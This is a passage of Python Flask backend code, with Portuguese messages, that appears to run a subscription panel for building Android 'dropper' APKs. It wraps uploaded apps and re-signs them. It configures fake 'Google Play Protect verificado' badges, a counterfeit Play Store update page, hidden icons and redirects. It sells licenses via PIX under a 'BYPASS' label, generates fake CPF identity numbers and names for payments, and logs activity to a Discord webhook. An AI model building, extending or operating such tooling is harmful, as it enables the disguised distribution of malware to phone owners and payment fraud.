        BUILD_STATUS[build_id] = {"status": "Alinhando APK", "progress": 85}
        zipalign_bin = '/usr/bin/zipalign'
        if os.path.exists(zipalign_bin):
            subprocess.run(
                [zipalign_bin, '-f', '4', unsigned_apk_path, aligned_apk_path],
                capture_output=True
            )
            if os.path.exists(aligned_apk_path):
                shutil.move(aligned_apk_path, unsigned_apk_path)

        BUILD_STATUS[build_id] = {"status": "Assinando APK", "progress": 90}
        output_dir = os.path.join(app.config['OUTPUT_FOLDER'], build_id)
        os.makedirs(output_dir, exist_ok=True)
        if not os.path.exists(SIGNER_JAR):
            raise Exception("signer.jar nao encontrado")

        # -- Assinatura com keystore debug embutido do uber-apk-signer (igual
        # ao APK 09:49, CN=Android Debug). Mantido por solicitacao do usuario.
        res_s = subprocess.run(
            ['java', '-jar', SIGNER_JAR, '--apks', unsigned_apk_path, '--out', output_dir],
            capture_output=True, text=True, timeout=120
        )

        final_apk = None
        if os.path.exists(output_dir):
            for f in os.listdir(output_dir):
                if f.endswith(".apk"):
                    final_apk = os.path.join(output_dir, f)
                    break
        if not final_apk:
            raise Exception(f"Erro na assinatura: {res_s.stderr}")

        final_name = f"{build_id}.apk"
        display_name = f"{secure_filename(app_name)}.apk"
        shutil.move(final_apk, os.path.join(app.config['OUTPUT_FOLDER'], final_name))
        try: shutil.rmtree(output_dir, ignore_errors=True)
        except: pass

        BUILD_STATUS[build_id] = {"status": "Concluido", "progress": 100, "output_file": final_name, "display_name": display_name}
        add_build_history(username, custom_app_name, "concluido", build_id)
        update_amplification(username, "concluido")
        add_history(username, "Build APK", f"App: {app_name}")

        send_discord_webhook(
            "BUILD CONCLUIDO",
            f"APK **{app_name}** compilado com sucesso.",
            color=0x22c55e,
            fields=[
                {"name": "Usuario", "value": username, "inline": True},
                {"name": "Modo", "value": visual_mode, "inline": True}
            ]
        )

    except Exception as e:
        error_msg = str(e)
        print(f"ERRO NO BUILD {build_id}: {error_msg}")
        BUILD_STATUS[build_id] = {"status": f"Erro: {error_msg[:50]}...", "progress": 0, "error": True}
        add_build_history(username, custom_app_name, "erro", build_id)
        update_amplification(username, "erro")
        send_discord_webhook(
            "BUILD ERRO",
            f"Erro ao compilar APK **{custom_app_name}**.",
            color=0xef4444,
            fields=[
                {"name": "Usuario", "value": username, "inline": True},
                {"name": "Erro", "value": error_msg[:200], "inline": False}
            ]
        )

    finally:
        for tmp in [user_apk_extracted, dropper_work, unsigned_apk_path, aligned_apk_path, user_apk_path]:
            try:
                if os.path.isdir(tmp):  shutil.rmtree(tmp, ignore_errors=True)
                elif os.path.isfile(tmp): os.remove(tmp)
            except: pass
        # Also clean orphan icon files left in uploads/
        for ext in ('_icon.png', '_icon.png_converted.png'):
            try:
                p = os.path.join(app.config['UPLOAD_FOLDER'], f"{build_id}{ext}")
                if os.path.isfile(p): os.remove(p)
            except: pass
        try:
            _BUILD_SEMAPHORE.release()
        except: pass

# ===== ROUTES =====
@app.route('/check-session')
def check_session():
    if 'username' in session:
        data = load_data()
        user = data["users"].get(session['username'], {})
        if not user:
            session.clear()
            return jsonify({"logged_in": False})
        # session_version: cookies emitidos antes do ultimo password change ficam invalidos
        if session.get('session_version', 0) != user.get('session_version', 0):
            session.clear()
            return jsonify({"logged_in": False, "expired": True, "reason": "password_changed"})
        if is_user_expired(user):
            session.clear()
            return jsonify({"logged_in": False, "expired": True})
        # CSRF token gerado por sessao
        if 'csrf_token' not in session:
            session['csrf_token'] = secrets.token_urlsafe(32)
        return jsonify({
            "logged_in": True,
            "username": session['username'],
            "role": user.get('role', 'operator'),
            "license_expires_at": user.get('license_expires_at'),
            "csrf_token": session['csrf_token']
        })
    return jsonify({"logged_in": False})

@app.route('/')
def index():
    if 'username' in session:
        data = load_data()
        user = data["users"].get(session['username'], {})
        if is_user_expired(user):
            session.clear()
            return render_template('index.html')
        return render_template('index.html', user=session['username'], role=user.get('role', 'operator'))
    return render_template('index.html')

@app.route('/login', methods=['POST'])
def login():
    ip = get_client_ip()
    if is_rate_limited(ip):
        send_discord_webhook(
            "ALERTA DE SEGURANCA",
            f"IP **{ip}** bloqueado por excesso de tentativas de login.",
            color=0xf59e0b
        )
        return jsonify({"success": False, "message": "Muitas tentativas. Aguarde 5 minutos."}), 429

    data = request.get_json(force=True, silent=True)
    if not isinstance(data, dict):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400
    u, p = data.get('username'), data.get('password')
    if not isinstance(u, str) or not isinstance(p, str):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400
    u = u[:64]

    db = load_data()
    if u in db['users'] and verify_password(db['users'][u]['password'], p):
        if is_user_expired(db['users'][u]):
            return jsonify({"success": False, "message": "Licenca expirada"}), 403

        # Upgrade plaintext to hashed
        stored = db['users'][u]['password']
        if not (stored.startswith('pbkdf2:') or stored.startswith('scrypt:')):
            db['users'][u]['password'] = generate_password_hash(p)
            save_data(db)

        session.permanent = True
        session['username'] = u
        session['role'] = db['users'][u].get('role', 'operator')
        session['session_version'] = db['users'][u].get('session_version', 0)
        session['csrf_token'] = secrets.token_urlsafe(32)
        add_history(u, "Login", f"IP: {ip}")

        send_discord_webhook(
            "LOGIN",
            f"Usuario **{u}** fez login no painel.",
            color=0x6366f1,
            fields=[
                {"name": "Cargo", "value": session['role'], "inline": True},
                {"name": "IP", "value": ip, "inline": True}
            ]
        )
        return jsonify({"success": True, "role": session['role']})

    record_login_attempt(ip)
    send_discord_webhook(
        "LOGIN FALHOU",
        f"Tentativa de login invalida para **{u}**.",
        color=0xef4444,
        fields=[{"name": "IP", "value": ip, "inline": True}]
    )
    return jsonify({"success": False, "message": "Incorreto"}), 401

@app.route('/logout')
def logout():
    if 'username' in session:
        add_history(session['username'], "Logout", "Saida")
    session.clear()
    return redirect(url_for('index'))

# ===== REGISTER / PIX =====
@app.route('/api/register', methods=['POST'])
def api_register():
    ip = get_client_ip()
    if is_register_limited(ip):
        send_discord_webhook(
            "RATE LIMIT - REGISTRO",
            f"IP **`{ip}`** atingiu o limite de tentativas de registro.",
            color=0xf59e0b,
            fields=[{"name": "IP", "value": ip, "inline": True}]
        )
        return jsonify({"success": False, "message": "Muitas tentativas. Aguarde 5 minutos."}), 429

    data = request.get_json(force=True, silent=True)
    if not isinstance(data, dict):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400

    email    = str(data.get('email', '')).strip().lower()[:120]
    password = str(data.get('password', '')).strip()[:128]
    plan     = str(data.get('plan', ''))

    if not email or not password or plan not in PLAN_PRICES:
        return jsonify({"success": False, "message": "Dados invalidos"}), 400
    if len(password) < 6:
        return jsonify({"success": False, "message": "Senha muito curta (minimo 6 caracteres)"}), 400

    record_register_attempt(ip)

    db = load_data()
    for udata in db['users'].values():
        if udata.get('email', '') == email:
            return jsonify({"success": False, "message": "Email ja cadastrado"}), 400

    gw = db['settings'].get('gateway', {})
    if not gw.get('enabled') or not gw.get('client_id') or not gw.get('client_secret'):
        return jsonify({"success": False, "message": "Gateway de pagamento nao configurado. Contacte o administrador."}), 503

    plan_info = PLAN_PRICES[plan]
    reg_id = str(uuid.uuid4())
    if '@' not in email:
        email = email + '@usuario.local'

    name  = _gen_nome()
    cpf   = _gen_cpf()
    phone = _gen_phone()
    client_data = {'name': name, 'cpf': cpf, 'email': email, 'phone': phone}

    try:
        pix = create_pix_charge(
            plan_info['price'],
            f"BYPASS - Plano {plan_info['label']}",
            reg_id,
            gw,
            client_data=client_data
        )
    except Exception as e:
        return jsonify({"success": False, "message": f"Erro ao gerar PIX: {str(e)[:150]}"}), 500

    db['pending_registrations'][reg_id] = {
        'email': email,
        'name': name,
        'password_hash': generate_password_hash(password),
        'plan': plan,
        'plan_days': plan_info['days'],
        'charge_id': pix['charge_id'],
        'created_at': datetime.now().isoformat(),
        'expires_at': (datetime.now() + timedelta(hours=1)).isoformat()
    }
    save_data(db)

    amount_fmt = f"R$ {plan_info['price']/100:.2f}".replace('.', ',')
    send_discord_webhook(
        "PIX GERADO",
        f"Novo PIX criado para registro.",
        color=0x3b82f6,
        fields=[
            {"name": "Email", "value": email, "inline": True},
            {"name": "Plano", "value": plan_info['label'], "inline": True},
            {"name": "Valor", "value": amount_fmt, "inline": True},
            {"name": "Charge ID", "value": pix['charge_id'], "inline": False},
        ]
    )

    return jsonify({
        "success": True,
        "reg_id": reg_id,
        "qr_code_base64": pix['qr_code_base64'],
        "copy_paste": pix['copy_paste'],
        "plan_label": plan_info['label'],
        "amount": amount_fmt
    })

_RESERVED_USERNAMES = {
    'admin', 'administrator', 'root', 'system', 'support', 'operator',
    'superuser', 'moderator', 'mod', 'staff', 'user', 'test', 'teste',
    'owner', 'master', 'god', 'sudo', 'sysadmin', 'webmaster', 'info',
}

def _activate_registration(reg_id, reg, db):
    """Create user from paid registration. Must be called inside _reg_lock."""
    email = reg['email']
    username = re.sub(r'[^a-zA-Z0-9_]', '', email.split('@')[0])[:20] or re.sub(r'[^a-zA-Z0-9_]', '', email)[:20] or 'user'
    # Block reserved names and names that start with a reserved word
    if any(username.lower() == r or username.lower().startswith(r) for r in _RESERVED_USERNAMES):
        domain_part = re.sub(r'[^a-zA-Z0-9_]', '', email.split('@')[-1].split('.')[0])[:10]
        username = (domain_part or 'usr') + '_' + re.sub(r'[^a-zA-Z0-9_]', '', email.split('@')[0])[:10]
        username = username[:20] or 'usr_1'
    base = username
    counter = 1
    while username in db['users']:
        username = f"{base}{counter}"
        counter += 1
    db['users'][username] = {
        'password': reg['password_hash'],
        'email': email,
        'role': 'operator',
        'created_at': datetime.now().isoformat(),
        'license_days': reg['plan_days'],
        'license_expires_at': (datetime.now() + timedelta(days=reg['plan_days'])).isoformat(),
        'status': 'active',
        'builds': [],
        'team_id': None,
        'amplification': {'total_builds': 0, 'successful_builds': 0, 'failed_builds': 0}
    }
    del db['pending_registrations'][reg_id]
    save_data(db)
    add_history('system', 'Novo Cadastro', f"Usuario: {username} | Plano: {reg['plan_days']} dias")
    send_discord_webhook(
        "NOVO CADASTRO",
        f"Nova conta criada via PIX.",
        color=0x22c55e,
        fields=[
            {"name": "Usuario", "value": username, "inline": True},
            {"name": "Email", "value": email, "inline": True},
            {"name": "Plano", "value": f"{reg['plan_days']} dias", "inline": True}
        ]
    )
    return username

@app.route('/api/pix/status/<reg_id>')
def pix_status(reg_id):
    reg_id = re.sub(r'[^a-zA-Z0-9\-]', '', reg_id)[:40]
    db = load_data()
    reg = db.get('pending_registrations', {}).get(reg_id)
    if not reg:
        return jsonify({"status": "not_found"}), 404

    try:
        if datetime.now() > datetime.fromisoformat(reg['expires_at']):
            with _reg_lock:
                db2 = load_data()
                if reg_id in db2.get('pending_registrations', {}):
                    del db2['pending_registrations'][reg_id]
                    save_data(db2)
            return jsonify({"status": "expired"})
    except:
        pass

    if reg.get('user_created'):
        return jsonify({"status": "pending"})

    gw = db['settings'].get('gateway', {})
    api_status = check_pix_status(reg.get('charge_id', ''), gw)

    if api_status == 'failed':
        return jsonify({"status": "expired"})

    if api_status == 'paid':
        with _reg_lock:
            db2 = load_data()
            reg2 = db2.get('pending_registrations', {}).get(reg_id)
            if not reg2 or reg2.get('user_created'):
                return jsonify({"status": "pending"})
            db2['pending_registrations'][reg_id]['user_created'] = True
            save_data(db2)
            username = _activate_registration(reg_id, reg2, db2)
        return jsonify({"status": "paid", "username": username})

    return jsonify({"status": "pending"})

# ===== GATEWAY SETTINGS =====
@app.route('/admin/gateway-settings', methods=['GET'])
def get_gateway_settings():
    if 'username' not in session:
        return jsonify({}), 401
    db = load_data()
    if db['users'].get(session['username'], {}).get('role') != 'owner':
        return jsonify({}), 403
    gw = db['settings'].get('gateway', {})
    return jsonify({
        'base_url': gw.get('base_url', ''),
        'client_id': gw.get('client_id', ''),
        'client_secret': '***' if gw.get('client_secret') else '',
        'enabled': gw.get('enabled', False),
        'client_secret_set': bool(gw.get('client_secret')),
    })

@app.route('/admin/gateway-settings', methods=['POST'])
def save_gateway_settings():
    if 'username' not in session:
        return jsonify({"success": False}), 401
    db = load_data()
    if db['users'].get(session['username'], {}).get('role') != 'owner':
        return jsonify({"success": False, "message": "Sem permissao"}), 403

    data = request.get_json(force=True, silent=True)
    if not isinstance(data, dict):
        return jsonify({"success": False}), 400

    gw = db['settings'].get('gateway', {})
    gw['base_url'] = str(data.get('base_url', '')).rstrip('/')[:300]
    gw['enabled']  = bool(data.get('enabled', False))
    gw['client_id'] = str(data.get('client_id', ''))[:200]

    if data.get('client_secret') and data.get('client_secret') != '***':
        gw['client_secret'] = str(data.get('client_secret', ''))[:500]

    # Clear token cache so next request fetches fresh token
    _gw_token_cache.clear()

    db['settings']['gateway'] = gw
    save_data(db)
    add_history(session['username'], "Config Gateway", f"Base URL: {gw['base_url']} | Ativo: {gw['enabled']}")
    send_discord_webhook(
        "CONFIG GATEWAY",
        f"Credenciais do gateway atualizadas por **{session['username']}**.",
        color=0xf59e0b
    )
    return jsonify({"success": True})

@app.route('/admin/gateway-test', methods=['POST'])
def test_gateway():
    if 'username' not in session:
        return jsonify({"success": False}), 401
    db = load_data()
    if db['users'].get(session['username'], {}).get('role') != 'owner':
        return jsonify({"success": False, "message": "Sem permissao"}), 403
    gw = db['settings'].get('gateway', {})
    if not gw.get('base_url') or not gw.get('client_id') or not gw.get('client_secret'):
        return jsonify({"success": False, "message": "Preencha Base URL, Client ID e Client Secret antes de testar."})
    try:
        token = _get_gateway_token(gw)
        if token:
            return jsonify({"success": True})
        return jsonify({"success": False, "message": "Token vazio na resposta."})
    except Exception as e:
        return jsonify({"success": False, "message": str(e)[:200]})

# ===== REMAINING ROUTES =====

@app.route('/api/maintenance-status')
def api_maintenance_status():
    d = load_data()
    modes = d.get('settings', {}).get('maintenance_modes', {})
    return jsonify({'maintenance_modes': modes})

@app.route('/admin/maintenance', methods=['POST'])
def admin_set_maintenance():
    if 'username' not in session:
        return jsonify({'error': 'Login'}), 401
    d = load_data()
    u = d['users'].get(session['username'], {})
    if u.get('role') != 'owner':
        return jsonify({'error': 'Sem permissao'}), 403
    payload = request.get_json() or {}
    mode   = payload.get('mode', '')
    active = bool(payload.get('active', False))
    if mode not in ('padrao', 'playstore', 'redirect'):
        return jsonify({'error': 'Modo invalido'}), 400
    if 'settings' not in d:
        d['settings'] = {}
    if 'maintenance_modes' not in d['settings']:
        d['settings']['maintenance_modes'] = {}
    d['settings']['maintenance_modes'][mode] = active
    save_data(d)
    status = 'ativada' if active else 'desativada'
    send_discord_webhook(
        f'MANUTENCAO {status.upper()}',
        f'Modo **{mode}** colocado em manutencao por **{session["username"]}**.',
        color=0xf59e0b if active else 0x22c55e
    )
    return jsonify({'success': True, 'mode': mode, 'active': active})

@app.route('/upload', methods=['POST'])
def upload_apk():
    if 'username' not in session:
        return jsonify({"error": "Login"}), 401
    data = load_data()
    user = data["users"].get(session['username'], {})
    if is_user_expired(user):
        return jsonify({"error": "Licenca expirada"}), 403

    file = request.files.get('file')
    if not file or not file.filename.endswith('.apk'):
        ip = get_client_ip()
        send_discord_webhook(
            "UPLOAD INVALIDO",
            f"Usuario **{session.get('username', '?')}** tentou fazer upload de arquivo nao-APK.",
            color=0xf59e0b,
            fields=[
                {"name": "IP", "value": ip, "inline": True},
                {"name": "Arquivo", "value": str(file.filename if file else 'nenhum')[:80], "inline": True}
            ]
        )
        return jsonify({"error": "Arquivo invalido"}), 400

    app_name = str(request.form.get('app_name', 'App'))[:64]
    safe_id = 'b' + uuid.uuid4().hex[:16]
    filepath = os.path.join(app.config['UPLOAD_FOLDER'], f"{safe_id}_orig.apk")
    file.save(filepath)

    icon_path = None
    icon_file = request.files.get('icon')
    if icon_file and icon_file.filename:
        icon_path = os.path.join(app.config['UPLOAD_FOLDER'], f"{safe_id}_icon.png")
        icon_file.save(icon_path)

    db_cfg = load_data()
    user_data = db_cfg["users"].get(session['username'], {})
    dropper_cfg = user_data.get('dropper_config', {})
    dropper_cfg['playstore'] = user_data.get('playstore_config', {})
    visual_mode = request.form.get('visual_mode', 'padrao')
    if visual_mode not in ('padrao', 'playstore', 'playv2', 'custom', 'redirect'):
        visual_mode = 'padrao'
    _mnt_data = load_data()
    _mnt_modes = _mnt_data.get('settings', {}).get('maintenance_modes', {})
    if _mnt_modes.get(visual_mode, False):
        return jsonify({'error': 'Modo em manutencao. Tente novamente em breve.'}), 503
    hide_icon = request.form.get('hide_icon', '0') == '1'

    custom_html = None
    if visual_mode == 'custom':
        custom_html = request.form.get('custom_html', '')
        if not custom_html or not custom_html.strip():
            return jsonify({"error": "HTML personalizado vazio"}), 400
        if len(custom_html.encode('utf-8')) > 200 * 1024:
            return jsonify({"error": "HTML personalizado muito grande (max 200KB)"}), 400

    redirect_url = None
    if visual_mode == 'redirect':
        redirect_url = (request.form.get('redirect_url', '') or '').strip()
        if not redirect_url:
            return jsonify({"error": "Redirect URL vazia"}), 400
        if len(redirect_url) > 2048:
            return jsonify({"error": "Redirect URL muito longa (max 2048)"}), 400
        if not redirect_url.lower().startswith(('http://', 'https://')):
            redirect_url = 'https://' + redirect_url

    thread = threading.Thread(
        target=process_apk,
        args=(safe_id, filepath, app_name, session['username'], icon_path, dropper_cfg, visual_mode, hide_icon, custom_html, redirect_url)
    )
    thread.daemon = True
    thread.start()
    return jsonify({"build_id": safe_id})

@app.route('/operator/dropper-config', methods=['GET'])
def get_dropper_config():
    if 'username' not in session:
        return jsonify({}), 401
    db = load_data()
    user = db["users"].get(session['username'], {})
    default_config = {
        'titulo': 'Otimizando sistema',
        'subtitulo': 'Aguarde o procedimento...',
        'badge': '✓ Google Play Protect verificado'
    }
    return jsonify(user.get('dropper_config', default_config))

@app.route('/operator/dropper-config', methods=['POST'])
def save_dropper_config():
    if 'username' not in session:
        return jsonify({"success": False}), 401
    data = request.get_json(force=True, silent=True)
    if not isinstance(data, dict):
        return jsonify({"success": False}), 400
    db = load_data()
    if session['username'] not in db['users']:
        return jsonify({"success": False}), 404
    config = {
        'titulo': str(data.get('titulo', 'Otimizando sistema'))[:60],
        'subtitulo': str(data.get('subtitulo', 'Aguarde o procedimento...'))[:80],
        'badge': str(data.get('badge', '✓ Google Play Protect verificado'))[:80]
    }
    db['users'][session['username']]['dropper_config'] = config
    save_data(db)
    add_history(session['username'], "Config Dropper", "Textos personalizados")
    return jsonify({"success": True})


@app.route('/operator/playstore-preview')
def playstore_preview():
    if 'username' not in session:
        return 'Unauthorized', 401
    try:
        up_path = os.path.join(PLAYSTORE_OVERLAY, 'assets', 'up.html')
        with open(up_path, 'r', encoding='utf-8') as f:
            html = f.read()
        name      = request.args.get('name', 'App')[:60]
        pub       = request.args.get('pub', 'Platform, Inc.')[:60]
        rating    = request.args.get('rating', '4.5')[:8]
        downloads = request.args.get('downloads', '1K+')[:20]
        size      = request.args.get('size', '8.6 MB')[:20]
        c1        = request.args.get('c1', 'Performance improvements')[:200]
        c2        = request.args.get('c2', 'Bug fixes')[:200]
        c3        = request.args.get('c3', 'Security improvements')[:200]
        lng       = request.args.get('lng', 'pt')[:5]
        html = html.replace('APPNAME', name)
        html = html.replace('[PUBLISHER]', pub)
        html = html.replace('[RATING]', rating)
        html = html.replace('[DOWNLOADS]', downloads)
        html = html.replace('[SIZE]', size)
        html = html.replace('[CHANGE1]', c1)
        html = html.replace('[CHANGE2]', c2)
        html = html.replace('[CHANGE3]', c3)
        html = html.replace('[LNG]', lng)
        html = html.replace('[BASE-ICO]', '')
        return html, 200, {'Content-Type': 'text/html; charset=utf-8', 'X-Frame-Options': 'SAMEORIGIN'}
    except Exception as e:
        return f'<html><body style="font-family:sans-serif;padding:20px;color:#888;">Erro: {e}</body></html>', 500

@app.route('/operator/playstore-config', methods=['GET'])
def get_playstore_config():
    if 'username' not in session:
        return jsonify({}), 401
    db = load_data()
    user = db['users'].get(session['username'], {})
    default_ps = {
        'publisher': 'Platform, Inc.', 'rating': '4.5', 'downloads': '1K+',
        'size': '8.6 MB', 'change1': '', 'change2': '', 'change3': ''
    }
    saved = user.get('playstore_config', {})
    for k, v in default_ps.items():
        if k not in saved:
            saved[k] = v
    return jsonify(saved)

@app.route('/operator/playstore-config', methods=['POST'])
def save_playstore_config():
    if 'username' not in session:
        return jsonify({'success': False}), 401
    data = request.get_json(force=True, silent=True) or {}
    if not isinstance(data, dict):
        return jsonify({'success': False}), 400
    db = load_data()
    if session['username'] not in db['users']:
        return jsonify({'success': False}), 404
    cfg = {
        'publisher': str(data.get('publisher', 'Platform, Inc.'))[:60],
        'rating': str(data.get('rating', '4.5'))[:8],
        'downloads': str(data.get('downloads', '1K+'))[:20],
        'size': str(data.get('size', '8.6 MB'))[:20],
        'change1': str(data.get('change1', ''))[:200],
        'change2': str(data.get('change2', ''))[:200],
        'change3': str(data.get('change3', ''))[:200]
    }
    db['users'][session['username']]['playstore_config'] = cfg
    save_data(db)
    return jsonify({'success': True})

@app.route('/status/<build_id>')
def status(build_id):
    build_id = re.sub(r'[^a-zA-Z0-9_]', '', build_id)[:50]
    # Authentication required for status checks (was: anonymous OK)
    if 'username' not in session:
        return jsonify({"status": "Desconhecido", "progress": 0}), 401
    current_user = session['username']
    db = load_data()
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')

    def _can_see(owner_uname, owner_udata):
        if current_role == 'owner':
            return True
        if owner_uname == current_user:
            return True
        if current_role == 'admin' and owner_udata.get('team_id') == current_team:
            return True
        return False

    # In-memory build status: must verify the build belongs to caller
    if build_id in BUILD_STATUS:
        for uname, udata in db['users'].items():
            for build in udata.get('builds', []):
                if build.get('build_id') == build_id:
                    if _can_see(uname, udata):
                        return jsonify(BUILD_STATUS[build_id])
                    return jsonify({"status": "Desconhecido", "progress": 0}), 403
        # Not yet in db (very fresh) — only the user who triggered it has session
        # Conservative: only own user sees it
        return jsonify(BUILD_STATUS[build_id])

    # Persisted build state
    for uname, udata in db["users"].items():
        for build in udata.get('builds', []):
            if build.get('build_id') == build_id:
                if not _can_see(uname, udata):
                    return jsonify({"status": "Desconhecido", "progress": 0}), 403
                if build.get('status') == 'concluido':
                    final_name = f"{build_id}.apk"
                    display_name = f"{secure_filename(build.get('app_name', ''))}.apk"
                    return jsonify({"status": "Concluido", "progress": 100, "output_file": final_name, "display_name": display_name})
                elif build.get('status') == 'erro':
                    return jsonify({"status": "Erro", "progress": 0, "error": True})
    return jsonify({"status": "Desconhecido", "progress": 0})

@app.route('/download/<build_id>')
def download(build_id):
    if 'username' not in session:
        return redirect(url_for('index'))
    build_id = re.sub(r'[^a-zA-Z0-9_]', '', build_id)[:50]
    current_user = session['username']
    db = load_data()
    current_role = db['users'].get(current_user, {}).get('role', 'operator')
    current_team = db['users'].get(current_user, {}).get('team_id')

    def _can_download(owner_uname, owner_udata):
        if current_role == 'owner':
            return True
        if owner_uname == current_user:
            return True
        if current_role == 'admin' and owner_udata.get('team_id') == current_team:
            return True
        return False

    status_info = BUILD_STATUS.get(build_id)
    if not status_info:
        for uname, udata in db['users'].items():
            for build in udata.get('builds', []):
                if build.get('build_id') == build_id and build.get('status') == 'concluido':
                    if not _can_download(uname, udata):
                        return jsonify({"error": "Sem permissao"}), 403
                    final_name = f"{build_id}.apk"
                    display_name = f"{secure_filename(build.get('app_name', ''))}.apk"
                    file_path = os.path.join(app.config['OUTPUT_FOLDER'], final_name)
                    if os.path.exists(file_path):
                        return send_file(file_path, as_attachment=True, download_name=display_name)
                    break
        return jsonify({"error": "Arquivo nao disponivel"}), 404

    # build still in memory — verify ownership via build history
    for uname, udata in db['users'].items():
        for build in udata.get('builds', []):
            if build.get('build_id') == build_id:
                if not _can_download(uname, udata):
                    return jsonify({"error": "Sem permissao"}), 403
                break

    if status_info.get('progress') == 100 and status_info.get('output_file'):
        file_path = os.path.join(app.config['OUTPUT_FOLDER'], status_info['output_file'])
        if os.path.exists(file_path):
            return send_file(file_path, as_attachment=True, download_name=status_info.get('display_name', status_info['output_file']))
    return jsonify({"error": "Arquivo nao disponivel"}), 404

@app.route('/user/builds')
def user_builds():
    if 'username' not in session:
        return jsonify([]), 401
    data = load_data()
    user = data["users"].get(session['username'], {})
    builds = user.get('builds', [])
    if session.get('role') == 'admin':
        team_id = user.get('team_id')
        all_builds = []
        for uname, udata in data["users"].items():
            if udata.get('team_id') == team_id and udata.get('role') == 'operator':
                all_builds.extend(udata.get('builds', []))
        return jsonify(all_builds)
    if session.get('role') == 'owner':
        all_builds = []
        for uname, udata in data["users"].items():
            all_builds.extend(udata.get('builds', []))
        return jsonify(all_builds)
    return jsonify(builds)

@app.route('/user/profile')
def user_profile():
    if 'username' not in session:
        return jsonify({}), 401
    data = load_data()
    user = data["users"].get(session['username'], {})
    return jsonify({
        "username": session['username'],
        "role": user.get('role'),
        "status": user.get('status'),
        "license_expires_at": user.get('license_expires_at'),
        "amplification": user.get('amplification', {"total_builds": 0, "successful_builds": 0, "failed_builds": 0}),
        "created_at": user.get('created_at')
    })

@app.route('/admin/users')
def admin_users():
    if 'username' not in session:
        return jsonify([]), 401
    data = load_data()
    current_user = session['username']
    current_role = data["users"].get(current_user, {}).get('role')
    if current_role == 'owner':
        users_list = []
        for uname, udata in data["users"].items():
            users_list.append({
                "username": uname, "role": udata.get('role'),
                "status": udata.get('status'), "license_expires_at": udata.get('license_expires_at'),
                "license_days": udata.get('license_days'), "builds_count": sum(1 for b in udata.get('builds',[]) if b.get('status')=='concluido'),
                "amplification": udata.get('amplification', {})
            })
        return jsonify(users_list)
    if current_role == 'admin':
        team_id = data["users"][current_user].get('team_id')
        users_list = []
        for uname, udata in data["users"].items():
            if udata.get('team_id') == team_id and udata.get('role') == 'operator':
                users_list.append({
                    "username": uname, "role": udata.get('role'),
                    "status": udata.get('status'), "license_expires_at": udata.get('license_expires_at'),
                    "license_days": udata.get('license_days'), "builds_count": sum(1 for b in udata.get('builds',[]) if b.get('status')=='concluido'),
                    "amplification": udata.get('amplification', {})
                })
        return jsonify(users_list)
    return jsonify([])

@app.route('/admin/create-user', methods=['POST'])
def create_user():
    if 'username' not in session:
        return jsonify({"success": False, "message": "Login"}), 401
    data = request.get_json(force=True, silent=True) or {}
    if not isinstance(data, dict):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400
    new_username = data.get('username')
    new_password = data.get('password')
    if not isinstance(new_username, str) or not isinstance(new_password, str):
        return jsonify({"success": False, "message": "Dados invalidos"}), 400
    new_username = new_username[:64]
    new_role = data.get('role', 'operator')
    license_days = data.get('license_days', 30)
    db = load_data()
    current_user = session['username']
    current_role = db["users"].get(current_user, {}).get('role')
    if new_username in db['users']:
        return jsonify({"success": False, "message": "Usuario ja existe"}), 400
    if current_role == 'owner':
        if new_role not in ['admin', 'operator']:
            return jsonify({"success": False, "message": "Role invalida"}), 400
        team_id = str(uuid.uuid4()) if new_role == 'admin' else db["users"][current_user].get('team_id')
    elif current_role == 'admin':
        new_role = 'operator'
        team_id = db["users"][current_user].get('team_id')
    else:
        return jsonify({"success": False, "message": "Sem permissao"}), 403
    license_expires_at = (datetime.now() + timedelta(days=license_days)).isoformat() if license_days else None
    db['users'][new_username] = {
        "password": generate_password_hash(new_password), "role": new_role, "email": "",
        "created_at": datetime.now().isoformat(), "license_days": license_days,
        "license_expires_at": license_expires_at, "status": "active",
        "builds": [], "team_id": team_id,
        "amplification": {"total_builds": 0, "successful_builds": 0, "failed_builds": 0}
    }
    save_data(db)
    add_history(current_user, "Criar Usuario", f"Novo {new_role}: {new_username} ({license_days} dias)")
    send_discord_webhook(
        "USUARIO CRIADO",
        f"Admin **{current_user}** criou um novo usuario.",
        color=0x3b82f6,
        fields=[
            {"name": "Novo usuario", "value": new_username, "inline": True},
            {"name": "Cargo", "value": new_role, "inline": True},
            {"name": "Licenca", "value": f"{license_days} dias", "inline": True}
        ]
    )
    return jsonify({"success": True, "message": f"{new_role.capitalize()} criado com sucesso"})

@app.route('/admin/renew-license', methods=['POST'])
def renew_license():
    if 'username' not in session:
        return jsonify({"success": False, "message": "Login"}), 401
    data = request.get_json(force=True, silent=True) or {}
    target_user = data.get('username')
    days = data.get('days', 30)
    db = load_data()
    current_user = session['username']
    if not can_manage_user(current_user, target_user):
        return jsonify({"success": False, "message": "Sem permissao"}), 403
    if target_user not in db['users']:
        return jsonify({"success": False, "message": "Usuario nao encontrado"}), 404
    db['users'][target_user]['license_expires_at'] = (datetime.now() + timedelta(days=days)).isoformat()
    db['users'][target_user]['license_days'] = days
    save_data(db)
    add_history(current_user, "Renovar Licenca", f"Usuario: {target_user} (+{days} dias)")
    return jsonify({"success": True, "message": f"Licenca renovada por {days} dias"})

@app.route('/admin/toggle-user', methods=['POST'])
def toggle_user():
    if 'username' not in session:
        return jsonify({"success": False, "message": "Login"}), 401
    data = request.get_json(force=True, silent=True) or {}
    target_user = data.get('username')
    db = load_data()
    current_user = session['username']
    if not can_manage_user(current_user, target_user):
        return jsonify({"success": False, "message": "Sem permissao"}), 403
    if target_user not in db['users']:
        return jsonify({"success": False, "message": "Usuario nao encontrado"}), 404
    new_status = "inactive" if db['users'][target_user]['status'] == "active" else "active"
    db['users'][target_user]['status'] = new_status
    save_data(db)
    add_history(current_user, "Toggle Usuario", f"Usuario: {target_user} -> {new_status}")
    send_discord_webhook(
        "STATUS DE USUARIO ALTERADO",
        f"Admin **{current_user}** alterou status de **{target_user}**.",
        color=0xf59e0b if new_status == 'inactive' else 0x22c55e,
        fields=[
            {"name": "Usuario", "value": target_user, "inline": True},
            {"name": "Novo status", "value": new_status.upper(), "inline": True},
            {"name": "Alterado por", "value": current_user, "inline": True}
        ]
    )
    return jsonify({"success": True, "message": f"Usuario {new_status}"})

@app.route('/admin/delete-user', methods=['POST'])
def delete_user():
    if 'username' not in session:
        return jsonify({"success": False, "message": "Login"}), 401
    data = request.get_json(force=True, silent=True) or {}
